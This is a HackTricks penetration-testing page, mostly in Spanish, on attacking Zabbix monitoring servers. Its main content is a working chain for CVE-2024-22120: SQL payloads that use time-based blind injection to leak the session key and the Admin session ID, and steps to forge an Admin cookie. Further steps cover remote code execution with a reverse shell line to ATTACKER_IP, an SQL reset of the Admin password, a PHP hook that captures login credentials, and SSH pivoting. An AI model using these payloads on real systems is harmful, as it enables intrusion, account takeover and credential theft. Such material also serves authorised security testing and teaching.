Seguridad de Zabbix
Reading time: 7 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Resumen
Zabbix es una plataforma de monitorización que expone una web UI (típicamente detrás de Apache/Nginx) y un componente servidor que también habla el protocolo Zabbix en TCP/10051 (server/trapper) y un agente en TCP/10050. Durante los engagements puedes encontrarte con:
- Web UI: virtual host HTTP(S) como zabbix.example.tld
- Puerto del servidor Zabbix: 10051/tcp (JSON dentro de un encabezado ZBXD)
- Puerto del agente Zabbix: 10050/tcp
Formato útil de cookie: zbx_session es Base64 de un objeto JSON compacto que incluye al menos sessionid, serverCheckResult, serverCheckTime y sign. El sign es un HMAC del payload JSON.
Estructura interna de la cookie zbx_session
Las versiones recientes de Zabbix calculan la cookie así:
- data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)
Si puedes recuperar el global session_key y un sessionid de Admin válido, puedes forjar una cookie Admin válida offline y autenticarte en la UI.
CVE-2024-22120 — Time-based blind SQLi en el registro de auditoría de Zabbix Server
Versiones afectadas (según documentación pública):
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
Resumen de la vulnerabilidad:
- Cuando una ejecución de Script se registra en el audit log de Zabbix Server, el campo clientip no se sanitiza y se concatena en SQL, permitiendo time-based blind SQLi vía el componente server.
- Esto es explotable enviando una petición "command" construida al puerto 10051 del servidor Zabbix con un sessionid válido de bajo privilegio, un hostid al que el usuario tenga acceso, y un scriptid permitido.
Precondiciones y consejos para descubrimiento:
- sessionid: Desde guest/login en la web UI, decodifica zbx_session (Base64) para obtener sessionid.
- hostid: Obsérvalo vía peticiones de la web UI (p. ej., Monitoring → Hosts) o interceptando con un proxy; el valor por defecto común es 10084.
- scriptid: Solo los scripts permitidos al rol actual se ejecutarán; verifícalo inspeccionando el menú de scripts/respuestas AJAX. Valores por defecto como 1 o 2 suelen estar permitidos; 3 puede ser denegado.
Flujo de explotación
- Provocar la inserción en el audit con SQLi en clientip
- Conéctate a TCP/10051 y envía un mensaje enmarcado Zabbix con request="command" incluyendo sid, hostid, scriptid, y clientip configurado a una expresión SQL que será concatenada por el servidor y evaluada.
Minimal message (JSON body) fields:
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
El formato completo en el wire es: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Puedes usar pwntools o tu propio socket code para construirlo.
- Time-bruteforce secrets via conditional sleep
Usa conditional expressions para leak hex-encoded secrets 1 char at a time midiendo el response time. Ejemplos que han funcionado en la práctica:
- Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Admin session_id (userid=1) desde sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
Notas:
- charset: 32 hex chars [0-9a-f]
- Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) and measure wall-clock per attempt
- Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
- Forjar cookie de Admin
Una vez que tengas:
- session_key: 32-hex de config.session_key
- admin_sessionid: 32-hex de sessions.sessionid para userid=1
Calcular:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)
Establece la cookie zbx_session con este valor y realiza un GET a /zabbix.php?action=dashboard.view para validar el acceso Admin.
Herramientas listas para usar
- PoC público automatiza: bruteforce de session_key y admin sessionid, y cookie forging; requiere pwntools y requests.
- Los parámetros a proporcionar típicamente incluyen: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, y opcionalmente un --admin-sid conocido para omitir el bruteforce.
RCE via Script execution (post-Admin)
Con acceso Admin en la UI, puedes ejecutar Scripts predefinidos contra hosts monitorizados. Si agents/hosts ejecutan comandos de script localmente, esto resulta en ejecución de código en esos sistemas (a menudo como el usuario zabbix en hosts Linux):
- Comprobación rápida: ejecutar id para confirmar el contexto de usuario
- Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
Mejorar TTY (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
Si tienes acceso a la base de datos, una alternativa a forjar una cookie es restablecer la contraseña del Admin al bcrypt documentado para "zabbix":
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Captura de credenciales vía login hook (post-exploitation)
Si es posible escribir archivos en el web UI server, puedes añadir temporalmente un fragmento de registro a /usr/share/zabbix/index.php alrededor de la rama de inicio de sesión basada en formulario para capturar credenciales:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
Los usuarios se autentican normalmente; leer /dev/shm/creds.txt después. Eliminar el hook al terminar.
Pivoting hacia servicios internos
Incluso si el shell de la cuenta de servicio es /usr/sbin/nologin, añadir una entrada en SSH authorized_keys y usar -N -L permite local port-forwarding a servicios accesibles solo desde loopback (p. ej., CI/CD en 8111):
ssh -i key user@host -N -L 8111:127.0.0.1:8111
Consulta más patrones de tunneling en: Tunneling and Port Forwarding.
Consejos operativos
- Verifica que scriptid esté permitido para el rol actual (guest puede tener un conjunto limitado)
- Timing brute puede ser lento; almacena en caché la sessionid de admin recuperada y reutilízala
- El JSON enviado a 10051 debe estar enmarcado con el encabezado ZBXD\x01 y una longitud little-endian
Referencias
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
- CVE-2024-22120-RCE toolkit (PoC scripts)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.